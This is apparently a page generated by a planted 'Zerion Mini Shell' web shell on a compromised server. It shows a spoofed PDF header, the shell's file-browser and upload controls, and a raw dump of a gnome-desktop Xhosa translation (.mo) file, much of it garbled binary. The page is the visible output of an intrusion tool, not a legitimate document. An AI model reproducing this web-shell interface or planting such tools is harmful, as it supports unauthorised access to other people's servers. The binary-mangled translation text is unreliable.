%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/xh/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/xh/LC_MESSAGES/gnome-desktop-3.0.mo

���%�@AGP]m����$�<�29H_~'�)�'�+I>*�t�9(�b`fo|����&�'�@`u�"��&�+�- 	*N	Py	*�	��	Tw
	

%a %R%a %R:%S%a %b %e, %R%a %b %e, %R:%S%a %b %e, %l:%M %p%a %b %e, %l:%M:%S %p%a %l:%M %p%a %l:%M:%S %pCRTC %d cannot drive output %sCRTC %d does not support rotation=%sCannot find a terminal, using xterm, even if it may not workLaptopMirror ScreensMonitor vendorUnknownRANDR extension is not presentTrying modes for CRTC %d
could not get information about CRTC %dcould not get information about output %dcould not get the range of screen sizescould not set the configuration for CRTC %dnone of the saved display configurations matched the active configurationoutput %s does not support mode %dx%d@%dHzrequested position/size for CRTC %d is outside the allowed limit: position=(%d, %d), size=(%d, %d), maximum=(%d, %d)unhandled X error while getting the range of screen sizesProject-Id-Version: gnome-desktop
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-desktop&keywords=I18N+L10N&component=general
PO-Revision-Date: 2012-01-06 20:25+0200
Last-Translator: Andiswa Mvanyashe <andiswamva@webmail.co.za>
Language-Team: translate-discuss-xh@lists.sourceforge.net
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Language: xh
Plural-Forms: nplurals=2; plural=(n!=1);
X-Generator: Virtaal 0.7.0
X-Project-Style: gnome
%a %R%a %R:%S%a %b %e, %R%a %b %e, %R:%S%a %b %e, %l:%M %p%a %b %e, %l:%M:%S %p%a %l:%M %p%a %l:%M:%S %pI-CRTC %d ayikwazi kuqhuba isiphumo %sI-CRTC %d ayikuxhasi ukujikeleza kwe-%sAyifumani theminali, xa kusebenza i-xterm, nokuba ingangasebenziUmphezulu osongiweyoIsikrini sefestileAyaziwaRANDR intambo yokudlulisela ayikhoIzama inkqubo ye-CRTC %d
azifumanekanga iinkcukacha ngo-CRTC %dazifumanekanga iinkcukacha ngeziphumo ze-%dalufumanekanga uhlobo lobungakanani besikriniayikwazanga ukumisela ubambeko lwe-CRTC %dukukhona nanye yeemboniso zobambeko ezigciniweyo ezihambisana nobambeko lwangokuisiphumo %s ayiluxhasi uhlobo lwe-%d%d%dHzcela indawo/ubungakanani be-CRTC %d ingaphandle kwimigqa evumelekileyo: indawo=(%d, %d), ubungakanani=(%d, %d), ubukhulu=(%d, %d)ayikwazanga kuphatha impazamo u-X ngokuya ibifumana inqanaba lobungakanani besikrini

Zerion Mini Shell 1.0